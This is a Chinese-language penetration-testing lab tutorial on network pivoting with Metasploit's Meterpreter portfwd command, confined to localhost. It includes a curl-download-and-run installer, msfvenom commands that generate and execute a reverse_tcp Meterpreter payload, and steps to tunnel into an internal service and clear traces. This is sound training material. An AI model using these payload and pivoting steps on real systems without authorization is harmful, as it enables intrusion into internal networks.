使用 Meterpreter 的 portfwd 进行网络透视

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习网络跳板(network pivoting),这是渗透测试中的一项基本技术。网络跳板是指利用一个已被攻陷的系统来访问内部网络中其他无法从你的机器直接访问的系统。

我们将使用 Metasploit 的 Meterpreter,这是一个强大的后渗透(post-exploitation)载荷,以及它的 portfwd 命令来实现这一点。你将学习如何设置端口转发,通过被攻陷的主机来隧道化流量,从而让你能够与该主机本地网络上的服务进行交互,就像你直接连接到它们一样。

识别目标内部网络上的服务

在此步骤中,我们将模拟在目标机器上获得 Meterpreter 会话。在实际场景中,这可以通过利用漏洞来实现。在本实验中,我们将设置一个 Metasploit 监听器并手动执行一个载荷(payload)来连接它。这将使我们能够专注于后渗透阶段。

首先,我们需要安装 Metasploit Framework。

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
sudo ./msfinstall

接下来,打开一个终端并启动 Metasploit 控制台。

msfconsole -q

msfconsole 中,我们将设置一个处理程序(handler)来监听传入的连接。

use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

现在,打开一个新终端(你可以使用终端标签中的 "+" 按钮)。在这个新终端中,我们将生成并运行一个载荷来连接回我们的监听器。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

切换回你的第一个终端(运行 msfconsole 的那个)。你应该会看到一条消息,表明一个新的会话已打开。让我们与之交互。

sessions -l
sessions -i 1

你现在处于一个 Meterpreter 会话中。一个常见的首要步骤是进行侦察(reconnaissance)。让我们检查一下“被攻陷”主机的网络接口。

ifconfig

你将看到几个网络接口。在本实验中,我们将假设通过进一步的扫描(这超出了本实验的范围),我们已经发现了一个运行在 127.0.0.1 的 8080 端口上的 Web 服务。我们的目标是访问此服务。

在 Meterpreter 中使用 portfwd add 命令

在此步骤中,我们将探索 portfwd 命令,这是 Meterpreter 中用于端口转发的关键工具。

portfwd 命令允许我们创建一个隧道,将流量从我们本地(攻击者)机器上的一个端口重定向到从被攻陷主机可访问的特定 IP 和端口。这就是网络跳板的本质。

该命令有几个选项,但我们将重点关注 addlistdelete(或 rm)。

添加新的端口转发规则的语法如下:

portfwd add -l <local_port> -p <remote_port> -r <remote_host>

让我们分解一下 add 操作的参数:

  • -l <local_port>:你本地机器(攻击者机器)上将监听传入连接的端口。你将连接到此端口以访问远程服务。
  • -p <remote_port>:你想要访问的目标网络上的目标端口。在我们的例子中,这是 8080
  • -r <remote_host>:目标网络上的目标 IP 地址。此主机必须能被被攻陷的机器访问。在我们的例子中,这是 127.0.0.1

在下一步中,我们将使用此命令为我们识别出的 Web 服务创建转发规则。

将被攻陷主机的端口转发到你的 Kali 机器

现在你已经了解了 portfwd add 命令,让我们使用它将内部 Web 服务转发到我们的本地机器。

我们的目标是通过连接到我们自己机器上的一个端口来访问运行在 127.0.0.1:8080(从被攻陷主机的角度看)上的服务。为此,我们选择本地端口 8888

在你的 Meterpreter 会话中,执行以下命令:

portfwd add -l 8888 -p 8080 -r 127.0.0.1

此命令告诉 Meterpreter 在你的本地端口 8888 上监听,并将任何连接转发到目标系统上的 127.0.0.1:8080。你应该会看到一条确认消息。

[*] Local TCP relay created: 127.0.0.1:8888 -> 127.0.0.1:8080

转发现已激活。发送到你机器上 localhost:8888 的任何流量都将通过 Meterpreter 会话隧道传输到目标的 8080 端口。

通过新的本地端口访问内部服务

设置好端口转发后,我们现在可以像访问本地机器上运行的服务一样访问内部 Web 服务。

在你的机器上打开一个新终端(不要关闭 msfconsole 终端)。

使用 curl 等命令行工具向你设置的本地端口(8888)发出请求。此请求将被发送到你的本地机器。

curl http://127.0.0.1:8888

请求将从你的 curl 客户端传输到你的本地端口 8888,通过 Meterpreter 会话到达被攻陷的主机,最后到达 127.0.0.1:8080 上的 Web 服务。作为结果,你应该会看到内部网页的 HTML 内容。

<html>
  <body>
    <h1>Internal Service Accessed!</h1>
  </body>
</html>

成功!你已成功地横向移动(pivoted)到目标网络,并访问了一个无法直接访问的服务。

列出并移除端口转发规则

完成透视(pivot)操作后,清理端口转发规则以清除痕迹并释放资源是一个良好的实践。

首先,让我们列出所有活动的端口转发规则。回到你的 Meterpreter 会话,使用 portfwd list 命令。

portfwd list

你将看到一个列出活动转发的表格,包括其索引号、类型和连接详情。

Active Port Forwards
====================

Index  Type    Local Host  Local Port  Remote Host  Remote Port
-----  ----    ----------  ----------  -----------  -----------
1      forward 127.0.0.1   8888        127.0.0.1    8080

要移除一条规则,你可以使用 portfwd deleteportfwd rm。你需要提供列表中规则的索引号。在我们的例子中,索引是 1

执行以下命令来移除规则:

portfwd delete -i 1

你应该会看到一条确认消息,表明 TCP 中继已停止。

[*] Stopping TCP relay on 127.0.0.1:8888...
[*] TCP relay stopped

你可以再次运行 portfwd list 来确认规则已被移除。列表现在应该是空的。这确保了隧道已关闭,并且你的机器不再监听端口 8888

总结

在本实验中,你学习了使用 Meterpreter 的 portfwd 工具进行网络透视(pivoting)的基础知识。

你成功模拟了获得 Meterpreter 会话,识别了一个假设的内部服务,并创建了一个端口转发规则,将流量从你的本地机器隧道传输到目标的内部网络。然后,你通过隧道访问了这个内部服务,并学会了如何列出和移除转发规则以清理你的会话。

这项技术是渗透测试中的一项基本技能,它允许你将访问范围从单个被攻陷的主机扩展到整个内部网络。